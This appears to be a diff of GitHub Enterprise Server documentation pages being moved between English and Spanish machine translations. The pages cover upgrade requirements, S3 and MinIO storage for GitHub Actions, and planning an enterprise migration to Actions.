- Toma una captura de pantalla antes de que mejores tu máquina virtual. Para más información, vea "[Realización de una instantánea](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#taking-a-snapshot)".
|
||||
- Asegúrate de que tienes un respaldo reciente y exitoso de tu instancia. Para más información, vea [Archivo README.md de {% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#readme).
|
||||
|
||||
## Requirements
|
||||
## Requisitos
|
||||
|
||||
- You must upgrade from a feature release that's **at most** two releases behind. For example, to upgrade to {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, you must be on {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} or {{ enterpriseServerReleases.supported[2] }}.
|
||||
- When upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users.
|
||||
- Debe actualizar desde una versión de actualización de características que esté **como máximo** dos versiones por detrás. Por ejemplo, para actualizar a {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, debes estar en {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} o {{ enterpriseServerReleases.supported[2] }}.
|
||||
- Cuando hagas una mejora mediante un paquete de mejora, programa una ventana de mantenimiento para los usuarios finales de {% data variables.product.prodname_ghe_server %}.
|
||||
- {% data reusables.enterprise_installation.hotpatching-explanation %}
|
||||
- A hotpatch may require downtime if the affected services (like kernel, MySQL, or Elasticsearch) require a VM reboot or a service restart. You'll be notified when a reboot or restart is required. You can complete the reboot or restart at a later time.
|
||||
- Additional root storage must be available when upgrading through hotpatching, as it installs multiple versions of certain services until the upgrade is complete. Pre-flight checks will notify you if you don't have enough root disk storage.
|
||||
- When upgrading through hotpatching, your instance cannot be too heavily loaded, as it may impact the hotpatching process.
|
||||
- Upgrading to {% data variables.product.prodname_ghe_server %} 2.17 migrates your audit logs from Elasticsearch to MySQL. This migration also increases the amount of time and disk space it takes to restore a snapshot. Before migrating, check the number of bytes in your Elasticsearch audit log indices with this command:
|
||||
- Es posible que un hotpatch requiera tiempo de inactividad si los servicios afectados (como kernel, MySQL, o Elasticsearch) requieren un reinicio de VM o un reinicio del servicio. Se te notificará cuando se necesite reiniciar. Puedes completar el reinicio más tarde.
|
||||
- Es necesario que haya un almacenamiento raíz adicional disponible cuando se actualiza a través de un hotpatch, ya que instala múltiples versiones de determinados servicios hasta que se completa la actualización. El control de prevuelo te notificará si no tienes suficiente almacenamiento de disco raíz.
|
||||
- Cuando se actualiza a través de un hotpatch, tu instancia no puede estar muy cargada, ya que puede impactar el proceso del hotpatch.
|
||||
- Actualizar a {% data variables.product.prodname_ghe_server %} 2.17 migra tus registros de auditoría desde Elasticsearch a MySQL. Esta migración también incrementa la cantidad de tiempo y el espacio en disco que lleva restaurar una instantánea. Antes de migrar, controla el número de bytes en tus índices de registro de auditoría de ElasticSearch con este comando:
|
||||
``` shell
|
||||
curl -s http://localhost:9201/audit_log/_stats/store | jq ._all.primaries.store.size_in_bytes
|
||||
```
|
||||
Use the number to estimate the amount of disk space the MySQL audit logs will need. The script also monitors your free disk space while the import is in progress. Monitoring this number is especially useful if your free disk space is close to the amount of disk space necessary for migration.
|
||||
Utiliza el número para estimar la cantidad de espacio de disco que los registros de auditoría de MySQL necesitarán. El script también controla tu espacio libre en disco mientras la importación está en progreso. Controlar este número es especialmente útil si tu espacio libre en disco está cerca de la cantidad de espacio en disco necesaria para la migración.
|
||||
|
||||
## Next steps
|
||||
## Pasos siguientes
|
||||
|
||||
After reviewing these recommendations and requirements, you can upgrade {% data variables.product.prodname_ghe_server %}. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)."
|
||||
Después de revisar estas recomendaciones y requisitos, puedes actualizar el {% data variables.product.prodname_ghe_server %}. Para más información, vea "[Actualización de {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)".
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: Enabling GitHub Actions with Amazon S3 storage
|
||||
intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use Amazon S3 storage to store data generated by workflow runs.'
|
||||
title: Habilitar las GitHub Actions con el almacenamiento de Amazon S3
|
||||
intro: 'Puedes habilitar {% data variables.product.prodname_actions %} en {% data variables.product.prodname_ghe_server %} y utilizar el almacenamiento de Amazon S3 para almacenar datos generados por ejecuciones de flujos de trabajo.'
|
||||
permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.'
|
||||
versions:
|
||||
ghes: '*'
|
||||
@@ -13,39 +13,40 @@ topics:
|
||||
redirect_from:
|
||||
- /admin/github-actions/enabling-github-actions-with-amazon-s3-storage
|
||||
shortTitle: Amazon S3 storage
|
||||
ms.openlocfilehash: 23fd8eabe502a6a29610de451cae72542ceca53f
|
||||
ms.sourcegitcommit: 8f7c8d52755cc3af0f366cc74c6db9e9be4d2ecd
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 11/04/2022
|
||||
ms.locfileid: '148132652'
|
||||
---
|
||||
## Prerequisites
|
||||
## Prerrequisitos
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note:** The only {% data variables.product.prodname_dotcom %}-supported S3 storage providers are Amazon S3 and MinIO Gateway for NAS.
|
||||
**Advertencia:** Los únicos proveedores de almacenamiento de S3 compatibles con {% data variables.product.prodname_dotcom %} son Amazon S3 y MinIO Gateway for NAS.
|
||||
|
||||
{% data reusables.actions.enterprise-s3-tech-partners %}
|
||||
|
||||
{% endnote %}
|
||||
|
||||
Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps:
|
||||
Antes de que habilites las {% data variables.product.prodname_actions %}, asegúrate de que has completado los siguientes pasos:
|
||||
|
||||
* Create your Amazon S3 bucket for storing data generated by workflow runs. {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %}
|
||||
* Crea tu cubo de Amazon S3 para almacenar los datos que generan las ejecuciones de flujo de trabajo. {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %}
|
||||
|
||||
{% data reusables.actions.enterprise-common-prereqs %}
|
||||
|
||||
## Enabling {% data variables.product.prodname_actions %} with Amazon S3 storage
|
||||
## Habilitar {% data variables.product.prodname_actions %} con almacenamiento de Amazon S3
|
||||
|
||||
{% data reusables.enterprise_site_admin_settings.access-settings %}
|
||||
{% data reusables.enterprise_site_admin_settings.management-console %}
|
||||
{% data reusables.enterprise_management_console.actions %}
|
||||
{% data reusables.actions.enterprise-enable-checkbox %}
|
||||
1. Under "Artifact & Log Storage", select **Amazon S3**, and enter your storage bucket's details:
|
||||
{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %}
|
||||
1. En "Artifact & Log Storage" (Almacenamiento de artefactos y registros), seleccione **Amazon S3** y escriba los detalles del cubo de almacenamiento:
|
||||
|
||||
* **AWS Service URL**: The service URL for your bucket. For example, if your S3 bucket was created in the `us-west-2` region, this value should be `https://s3.us-west-2.amazonaws.com`.
|
||||
* **URL del servicio de AWS**: la dirección URL del servicio del cubo. Por ejemplo, si el cubo de S3 se ha creado en la región `us-west-2`, este valor debe ser `https://s3.us-west-2.amazonaws.com`.
|
||||
|
||||
For more information, see "[AWS service endpoints](https://docs.aws.amazon.com/general/latest/gr/rande.html)" in the AWS documentation.
|
||||
* **AWS S3 Bucket**: The name of your S3 bucket.
|
||||
* **AWS S3 Access Key** and **AWS S3 Secret Key**: The AWS access key ID and secret key for your bucket. For more information on managing AWS access keys, see the "[AWS Identity and Access Management Documentation](https://docs.aws.amazon.com/iam/index.html)."
|
||||
Para más información, vea "[Puntos de conexión del servicio AWS](https://docs.aws.amazon.com/general/latest/gr/rande.html)" en la documentación de AWS.
|
||||
* **AWS S3 Bucket** (Cubo de AWS S3): nombre del cubo de S3.
|
||||
* **AWS S3 Access Key** y **AWS S3 Secret Key**: el identificador de clave de acceso de AWS y la clave secreta para el cubo. Para más información sobre cómo administrar las claves de acceso de AWS,vea la "[documentación sobre administración de identidades y accesos de AWS](https://docs.aws.amazon.com/iam/index.html)".
|
||||
|
||||
|
||||
{% data reusables.enterprise_management_console.test-storage-button %}
|
||||
{% data reusables.enterprise_management_console.save-settings %}
|
||||
 {% data reusables.enterprise_management_console.test-storage-button %} {% data reusables.enterprise_management_console.save-settings %}
|
||||
|
||||
{% data reusables.actions.enterprise-postinstall-nextsteps %}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: Enabling GitHub Actions with MinIO Gateway for NAS storage
|
||||
intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use MinIO Gateway for NAS storage to store data generated by workflow runs.'
|
||||
title: Habilitar las GitHub Actions con la puerta de enlace de MinIO para el almacenamiento en NAS
|
||||
intro: 'Puedes habilitar {% data variables.product.prodname_actions %} en {% data variables.product.prodname_ghe_server %} y utilizar la puerta de enlace de MinIO para el almacenamiento en NAS a fin de almacenar datos que generan las ejecuciones del flujo de trabajo.'
|
||||
permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.'
|
||||
versions:
|
||||
ghes: '*'
|
||||
@@ -13,36 +13,36 @@ topics:
|
||||
redirect_from:
|
||||
- /admin/github-actions/enabling-github-actions-with-minio-gateway-for-nas-storage
|
||||
shortTitle: MinIO Gateway for NAS storage
|
||||
ms.openlocfilehash: bb738d04d54234704f3278422c1f1ef075956640
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148106873'
|
||||
---
|
||||
|
||||
{% data reusables.actions.minio-gateways-removal %}
|
||||
|
||||
## Prerequisites
|
||||
## Prerrequisitos
|
||||
|
||||
Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps:
|
||||
Antes de que habilites las {% data variables.product.prodname_actions %}, asegúrate de que has completado los siguientes pasos:
|
||||
|
||||
* To avoid resource contention on the appliance, we recommend that MinIO be hosted separately from {% data variables.location.product_location %}.
|
||||
* Create your bucket for storing workflow data. {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %}
|
||||
* Para evitar la contención de recursos en el dispositivo, te recomendamos que hospedes MinIO separado de {% data variables.location.product_location %}.
|
||||
* Crea un cubo para almacenar los datos del flujo de trabajo. {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %}
|
||||
|
||||
{% data reusables.actions.enterprise-common-prereqs %}
|
||||
|
||||
## Enabling {% data variables.product.prodname_actions %} with MinIO Gateway for NAS storage
|
||||
## Habilitar las {% data variables.product.prodname_actions %} con la puerta de enlace de MinIO para almacenamiento en NAS
|
||||
|
||||
{% data reusables.enterprise_site_admin_settings.access-settings %}
|
||||
{% data reusables.enterprise_site_admin_settings.management-console %}
|
||||
{% data reusables.enterprise_management_console.actions %}
|
||||
{% data reusables.actions.enterprise-enable-checkbox %}
|
||||
1. Under "Artifact & Log Storage", select **Amazon S3**, and enter your storage bucket's details:
|
||||
{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %}
|
||||
1. En "Artifact & Log Storage" (Almacenamiento de artefactos y registros), seleccione **Amazon S3** y escriba los detalles del cubo de almacenamiento:
|
||||
|
||||
* **AWS Service URL**: The URL to your MinIO service. For example, `https://my-minio.example:9000`.
|
||||
* **AWS S3 Bucket**: The name of your S3 bucket.
|
||||
* **AWS S3 Access Key** and **AWS S3 Secret Key**: The `MINIO_ACCESS_KEY` and `MINIO_SECRET_KEY` used for your MinIO instance.
|
||||
* **AWS Service URL** (URL del servicio AWS): dirección URL del servicio MinIO. Por ejemplo, `https://my-minio.example:9000`.
|
||||
* **AWS S3 Bucket** (Cubo de AWS S3): nombre del cubo de S3.
|
||||
* **AWS S3 Access Key** (Clave de acceso de AWS S3) y **AWS S3 Secret Key** (Clave de secreto de AWS S3): se usan `MINIO_ACCESS_KEY` y `MINIO_SECRET_KEY` para la instancia de MinIO.
|
||||
|
||||
|
||||
1. Under "Artifact & Log Storage", select **Force path style**.
|
||||
|
||||
1. En "Artifact & Log Storage" (Almacenamiento de artefactos y registros), seleccione **Force path style** (Forzar estilo de ruta de acceso).
|
||||
|
||||
|
||||
{% data reusables.enterprise_management_console.test-storage-button %}
|
||||
{% data reusables.enterprise_management_console.save-settings %}
|
||||
 {% data reusables.enterprise_management_console.test-storage-button %} {% data reusables.enterprise_management_console.save-settings %}
|
||||
|
||||
{% data reusables.actions.enterprise-postinstall-nextsteps %}
|
||||
|
||||
@@ -24,7 +24,7 @@ topics:
|
||||
| Automatically and securely package code into artifacts and containers | "[About packaging with {% data variables.product.prodname_actions %}](/actions/publishing-packages/about-packaging-with-github-actions)" |
|
||||
| Automate your project management tasks | "[Using {% data variables.product.prodname_actions %} for project management](/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management)" |
|
||||
|
||||
{% data variables.product.prodname_actions %} helps your team work faster at scale. When large repositories start using {% data variables.product.prodname_actions %}, teams merge significantly more pull requests per day, and the pull requests are merged significantly faster. For more information, see "[Writing and shipping code faster](https://octoverse.github.com/writing-code-faster/#scale-through-automation)" in the State of the Octoverse.
|
||||
{% data variables.product.prodname_actions %} helps your team work faster at scale. When large repositories start using {% data variables.product.prodname_actions %}, teams merge significantly more pull requests per day, and the pull requests are merged significantly faster. For more information, see "[Writing and shipping code faster](https://octoverse.github.com/2021/writing-code-faster/#scale-through-automation)" in the State of the Octoverse.
|
||||
|
||||
You can create your own unique automations, or you can use and adapt workflows from our ecosystem of over 10,000 actions built by industry leaders and the open source community. {% ifversion ghec %}For more information, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)."{% else %}You can restrict your developers to using actions that exist on {% data variables.location.product_location %}, or you can allow your developers to access actions on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)."{% endif %}
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
---
|
||||
title: Migrar tu empresa a GitHub Actions
|
||||
title: Migrating your enterprise to GitHub Actions
|
||||
shortTitle: Migrate to Actions
|
||||
intro: 'Aprende cómo planear una migración a {% data variables.product.prodname_actions %} para tu empresa desde otro proveedor.'
|
||||
intro: 'Learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider.'
|
||||
versions:
|
||||
ghec: '*'
|
||||
ghes: '*'
|
||||
@@ -10,83 +10,78 @@ type: how_to
|
||||
topics:
|
||||
- Actions
|
||||
- Enterprise
|
||||
ms.openlocfilehash: db41434eae8bd3cf9036510705ee996f365f3fa1
|
||||
ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 09/10/2022
|
||||
ms.locfileid: '145116689'
|
||||
---
|
||||
## Acerca de las migraciones empresariales a {% data variables.product.prodname_actions %}
|
||||
|
||||
Para migrar tu empresa a {% data variables.product.prodname_actions %} desde un sistema existente, puedes planear la migración, completarla y retirar los sistemas existentes.
|
||||
## About enterprise migrations to {% data variables.product.prodname_actions %}
|
||||
|
||||
Esta guía dirige consideraciones específicas para las migraciones. Para obtener más información sobre cómo introducir {% data variables.product.prodname_actions %} en la empresa, vea "[Introducción de {% data variables.product.prodname_actions %} en la empresa](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)".
|
||||
To migrate your enterprise to {% data variables.product.prodname_actions %} from an existing system, you can plan the migration, complete the migration, and retire existing systems.
|
||||
|
||||
## Planificación de la migración
|
||||
This guide addresses specific considerations for migrations. For additional information about introducing {% data variables.product.prodname_actions %} to your enterprise, see "[Introducing {% data variables.product.prodname_actions %} to your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)."
|
||||
|
||||
Antes de que comiences a migrar tu empresa a {% data variables.product.prodname_actions %}, debes identificar qué flujos de trabajo se migrarán y cómo afectarán dichas migraciones a tus equipos, posteriormente, deberás planear cómo y cuándo completarás las migraciones.
|
||||
## Planning your migration
|
||||
|
||||
### Aprovechar los especialistas en migración
|
||||
Before you begin migrating your enterprise to {% data variables.product.prodname_actions %}, you should identify which workflows will be migrated and how those migrations will affect your teams, then plan how and when you will complete the migrations.
|
||||
|
||||
{% data variables.product.company_short %} puede ayudarte con la migración y también puedes sacar provecho de comprar los {% data variables.product.prodname_professional_services %}. Para obtener más información, contacta a tu representante dedicado o a {% data variables.contact.contact_enterprise_sales %}.
|
||||
### Leveraging migration specialists
|
||||
|
||||
### Identificar e inventariar los destinos de migración
|
||||
{% data variables.product.company_short %} can help with your migration, and you may also benefit from purchasing {% data variables.product.prodname_professional_services %}. For more information, contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %}.
|
||||
|
||||
Antes de que puedas migrarte a las {% data variables.product.prodname_actions %}, necesitarás tener un entendimiento total de los flujos de trabajo que utiliza tu empresa en tu sistema existente.
|
||||
### Identifying and inventorying migration targets
|
||||
|
||||
Primero, crea un inventario de los flujos de trabajo de lanzamientos y de compilación existentes en tu empresa, juntando la información sobre qué flujos de trabajo se utilizan activamente y necesitan migrarse y cuáles pueden quedarse atrás.
|
||||
Before you can migrate to {% data variables.product.prodname_actions %}, you need to have a complete understanding of the workflows being used by your enterprise in your existing system.
|
||||
|
||||
Después, conoce las diferencias entre tu proveedor actual y las {% data variables.product.prodname_actions %}. Esto te ayudará a evaluar cualquier dificultad para migrar cada flujo de trabajo y en dónde tu empresa podría experimentar diferencias en características. Para obtener más información, vea "[Migración a {% data variables.product.prodname_actions %}](/actions/migrating-to-github-actions)."
|
||||
First, create an inventory of the existing build and release workflows within your enterprise, gathering information about which workflows are being actively used and need to migrated and which can be left behind.
|
||||
|
||||
Con esta información, podrás determinar qué flujos de trabajo puedes y quieres migrar a {% data variables.product.prodname_actions %}.
|
||||
Next, learn the differences between your current provider and {% data variables.product.prodname_actions %}. This will help you assess any difficulties in migrating each workflow, and where your enterprise might experience differences in features. For more information, see "[Migrating to {% data variables.product.prodname_actions %}](/actions/migrating-to-github-actions)."
|
||||
|
||||
### Determinar los impactos de equipo a raíz de las migraciones
|
||||
With this information, you'll be able to determine which workflows you can and want to migrate to {% data variables.product.prodname_actions %}.
|
||||
|
||||
Cuando cambias las herramientas que utilizas dentro de tu empresa, influencias la forma en la que funciona tu equipo. Necesitarás considerar cómo es que la migración de un flujo de trabajo desde tu sistema existente a {% data variables.product.prodname_actions %} afectará el trabajo diario de tus desarrolladores.
|
||||
### Determine team impacts from migrations
|
||||
|
||||
Identifica cualquier proceso, integraciones y herramientas de terceros que se afectará con tu migración y haz un plan de cualquier actualización que necesites hacer.
|
||||
When you change the tools being used within your enterprise, you influence how your team works. You'll need to consider how moving a workflow from your existing systems to {% data variables.product.prodname_actions %} will affect your developers' day-to-day work.
|
||||
|
||||
Considera cómo la migración podría afectar tus inquietudes de cumplimiento. Por ejemplo, ¿acaso tus herramientas de análisis de seguridad y escaneo de credenciales existentes funcionarán con {% data variables.product.prodname_actions %} o necesitarás utilizar herramientas nuevas?
|
||||
Identify any processes, integrations, and third-party tools that will be affected by your migration, and make a plan for any updates you'll need to make.
|
||||
|
||||
Identifica las puertas y verificaciones en tu sistema existente y verifica que puedas implementarlas con {% data variables.product.prodname_actions %}.
|
||||
Consider how the migration may affect your compliance concerns. For example, will your existing credential scanning and security analysis tools work with {% data variables.product.prodname_actions %}, or will you need to use new tools?
|
||||
|
||||
### Identificar y validar las herramientas de migración
|
||||
Identify the gates and checks in your existing system and verify that you can implement them with {% data variables.product.prodname_actions %}.
|
||||
|
||||
Las herramientas de migración automatizadas pueden traducir los flujos de trabajo de tu empresa desde la sintaxis de sistema existente a aquella que requiere {% data variables.product.prodname_actions %}. Identifica las herramientas de terceros o contacta a tu representante dedicado o {% data variables.contact.contact_enterprise_sales %} para preguntar sobre las herramientas que puede proporcionar {% data variables.product.company_short %}.
|
||||
### Identifying and validating migration tools
|
||||
|
||||
Después de que hayas identificado una herramienta para automatizar tus migraciones, valídala ejecutándola en algunos flujos de trabajo de prueba y verifica que los resultados sean los esperados.
|
||||
Automated migration tools can translate your enterprise's workflows from the existing system's syntax to the syntax required by {% data variables.product.prodname_actions %}. Identify third-party tooling or contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %} to ask about tools that {% data variables.product.company_short %} can provide. For example, you can use the {% data variables.product.prodname_actions_importer %} to plan, scope, and migrate your CI pipelines to {% data variables.product.prodname_actions %} from various supported services. For more information, see "[Automating migration with {% data variables.product.prodname_actions_importer %}](/actions/migrating-to-github-actions/automating-migration-with-github-actions-importer)."
|
||||
|
||||
Las herramientas automatizadas deberían poder migrar la mayoría de tus flujos de trabajo, pero es posible que necesites reescribir manualmente por lo menos un porcentaje pequeño de estos. Estima la cantidad de trabajo manual que necesitarás llevar a cabo.
|
||||
After you've identified a tool to automate your migrations, validate the tool by running the tool on some test workflows and verifying that the results are as expected.
|
||||
|
||||
### Decidir llevar a cabo un enfoque de migración
|
||||
Automated tooling should be able to migrate the majority of your workflows, but you'll likely need to manually rewrite at least a small percentage. Estimate the amount of manual work you'll need to complete.
|
||||
|
||||
Determina el enfoque de migración que funcionará mejor para tu empresa. Los equipos más pequeños podrían ser capaces de migrar todos sus flujos de trabajo de una sola vez con un enfoque de tipo "quitar y reemplazar". Para las empresas más grandes, un enfoque iterativo podría ser más realista. Puedes elegir que un cuerpo central administre toda la migración o puedes pedirles a los equipos individuales que lo hagan ellos mismos y migren sus propios flujos de trabajo.
|
||||
### Deciding on a migration approach
|
||||
|
||||
Te recomendamos tener un enfoque iterativo que combine la administración activa con un autoservicio. Comience con un grupo pequeño de primeros participantes que actúen como campeones internos. Identifica un puñado de flujos de trabajo que sean suficientemente completos como para representar la amplitud de tu negocio. Trabaja con quienes primero adoptan esto para migrar esos flujos de trabajo a {% data variables.product.prodname_actions %}, iterando conforme sea necesario. Esto les dará a los otros equipos la confianza de que sus flujos de trabajo también pueden migrarse.
|
||||
Determine the migration approach that will work best for your enterprise. Smaller teams may be able to migrate all their workflows at once, with a "rip-and-replace" approach. For larger enterprises, an iterative approach may be more realistic. You can choose to have a central body manage the entire migration or you can ask individual teams to self serve by migrating their own workflows.
|
||||
|
||||
Posteriormente, haz que {% data variables.product.prodname_actions %} esté disponible para tu organización extendida. Proporciona recursos para ayudar a que estos equipos migren sus propios flujos de trabajo a {% data variables.product.prodname_actions %} e informa a los equipos cuando los sistemas existentes vayan a retirarse.
|
||||
We recommend an iterative approach that combines active management with self service. Start with a small group of early adopters that can act as your internal champions. Identify a handful of workflows that are comprehensive enough to represent the breadth of your business. Work with your early adopters to migrate those workflows to {% data variables.product.prodname_actions %}, iterating as needed. This will give other teams confidence that their workflows can be migrated, too.
|
||||
|
||||
Finalmente, informa a todos los equipos que aún utilicen tus sistemas anteriores que deben completar sus migraciones en cierto tiempo. Puedes apuntar a los éxitos de otros equipos para asegurarles que la migración es posible y deseable.
|
||||
Then, make {% data variables.product.prodname_actions %} available to your larger organization. Provide resources to help these teams migrate their own workflows to {% data variables.product.prodname_actions %}, and inform the teams when the existing systems will be retired.
|
||||
|
||||
### Definir tu itinerario de migración
|
||||
Finally, inform any teams that are still using your old systems to complete their migrations within a specific timeframe. You can point to the successes of other teams to reassure them that migration is possible and desirable.
|
||||
|
||||
Después de que decides tomar un enfoque de migración, crea un itinerario que defina cuándo cada uno de tus equipos migrarán sus flujos de trabajo a {% data variables.product.prodname_actions %}.
|
||||
### Defining your migration schedule
|
||||
|
||||
Primero, decide la fecha en la que te gustaría completar tu migración. Por ejemplo, puedes planear completar tu migración en el momento en el que finalice tu contrato con tu proveedor actual.
|
||||
After you decide on a migration approach, build a schedule that outlines when each of your teams will migrate their workflows to {% data variables.product.prodname_actions %}.
|
||||
|
||||
Entonces, trabaja con tus equipos para crear un itinerario que cumpla con tu fecha límite sin sacrificar sus metas de equipo. Fíjate en la cadencia de tu negocio y en la carga de trabajo de cada equipo individual al que le pides migrarse. Coordínate con cada equipo para entender sus itinerarios de entrega y crea un plan que les permita migrar sus flujos de trabajo en un momento en el que no vaya a impactar su capacidad de entrega.
|
||||
First, decide the date you'd like your migration to be complete. For example, you can plan to complete your migration by the time your contract with your current provider ends.
|
||||
|
||||
## Migrarse a {% data variables.product.prodname_actions %}
|
||||
Then, work with your teams to create a schedule that meets your deadline without sacrificing their team goals. Look at your business's cadence and the workload of each individual team you're asking to migrate. Coordinate with each team to understand their delivery schedules and create a plan that allows the team to migrate their workflows at a time that won't impact their ability to deliver.
|
||||
|
||||
Cuando estés listo para iniciar tu migración, traduce tus flujos existentes a {% data variables.product.prodname_actions %} utilizando las herramientas automatizadas y reescritura manual que ya planeaste para lo anterior.
|
||||
## Migrating to {% data variables.product.prodname_actions %}
|
||||
|
||||
También podrías querer mantener artefactos de compilaciones anteriores de tu sistema existente, probablemente escribiendo un proceso con script para archivar los artefactos.
|
||||
When you're ready to start your migration, translate your existing workflows to {% data variables.product.prodname_actions %} using the automated tooling and manual rewriting you planned for above.
|
||||
|
||||
## Retirar los sistemas existentes
|
||||
You may also want to maintain old build artifacts from your existing system, perhaps by writing a scripted process to archive the artifacts.
|
||||
|
||||
Después de que se complete tu migración, puedes pensar en retirar tu sistema existente.
|
||||
## Retiring existing systems
|
||||
|
||||
Tendrás que ejecutar ambos sistemas de lado a lado durante un tiempo mientras verificas que tu configuración de {% data variables.product.prodname_actions %} sea estable, sin delegación de experiencia para los desarrolladores.
|
||||
After your migration is complete, you can think about retiring your existing system.
|
||||
|
||||
Con el tiempo, el retira y apaga los sistemas antiguos y asegúrate de que nadie en tu empresa los vuelva a activar.
|
||||
You may want to run both systems side-by-side for some period of time, while you verify that your {% data variables.product.prodname_actions %} configuration is stable, with no degradation of experience for developers.
|
||||
|
||||
Eventually, decommission and shut off the old systems, and ensure that no one within your enterprise can turn the old systems back on.
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: Using the latest version of the official bundled actions
|
||||
intro: 'You can update the actions that are bundled with your enterprise, or use actions directly from {% data variables.product.prodname_dotcom_the_website %}.'
|
||||
title: Utilizar la última versión de las acciones empaquetadas oficiales
|
||||
intro: 'Puedes actualizar las acciones que vienen en paquete para tu empresa o utilizarlas directamente desde {% data variables.product.prodname_dotcom_the_website %}.'
|
||||
versions:
|
||||
ghes: '*'
|
||||
ghae: '*'
|
||||
@@ -12,43 +12,48 @@ topics:
|
||||
redirect_from:
|
||||
- /admin/github-actions/using-the-latest-version-of-the-official-bundled-actions
|
||||
shortTitle: Use the latest bundled actions
|
||||
ms.openlocfilehash: a86c731602bc39cc35fbff823ebdbfbdf2dec2c9
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148107033'
|
||||
---
|
||||
{% data reusables.actions.enterprise-beta %}
|
||||
{% data reusables.actions.enterprise-github-hosted-runners %}
|
||||
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
|
||||
|
||||
Your enterprise instance includes a number of built-in actions that you can use in your workflows. For more information about the bundled actions, see "[Official actions bundled with your enterprise instance](/admin/github-actions/about-using-actions-in-your-enterprise#official-actions-bundled-with-your-enterprise-instance)."
|
||||
Tu instancia empresarial incluye varias acciones integradas que puedes utilizar en tus flujos de trabajo. Para más información sobre las acciones agrupadas, vea "[Acciones oficiales agrupadas con la instancia de empresa](/admin/github-actions/about-using-actions-in-your-enterprise#official-actions-bundled-with-your-enterprise-instance)".
|
||||
|
||||
These bundled actions are a point-in-time snapshot of the official actions found at https://github.com/actions, so there may be newer versions of these actions available. You can use the `actions-sync` tool to update these actions, or you can configure {% data variables.product.prodname_github_connect %} to allow access to the latest actions on {% data variables.product.prodname_dotcom_the_website %}. These options are described in the following sections.
|
||||
Estas acciones agrupadas son una instantánea en un momento dado de las acciones oficiales que se encuentran en https://github.com/actions, por lo que podría haber versiones nuevas disponibles de ellas. Puede usar la herramienta `actions-sync` para actualizar estas acciones, o bien configurar {% data variables.product.prodname_github_connect %} para permitir el acceso a las acciones más recientes en {% data variables.product.prodname_dotcom_the_website %}. Estas opciones se describen en las secciones siguientes.
|
||||
|
||||
## Using `actions-sync` to update the bundled actions
|
||||
## Uso de `actions-sync` para actualizar las acciones agrupadas
|
||||
|
||||
To update the bundled actions, you can use the `actions-sync` tool to update the snapshot. For more information on using `actions-sync`, see "[Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}](/admin/github-actions/manually-syncing-actions-from-githubcom)."
|
||||
Para actualizar las acciones agrupadas, puede usar la herramienta `actions-sync` a fin de actualizar la instantánea. Para más información sobre el uso de `actions-sync`, vea "[Sincronización manual de acciones de {% data variables.product.prodname_dotcom_the_website %}](/admin/github-actions/manually-syncing-actions-from-githubcom)".
|
||||
|
||||
## Using {% data variables.product.prodname_github_connect %} to access the latest actions
|
||||
## Utilizar {% data variables.product.prodname_github_connect %} para acceder a las últimas acciones
|
||||
|
||||
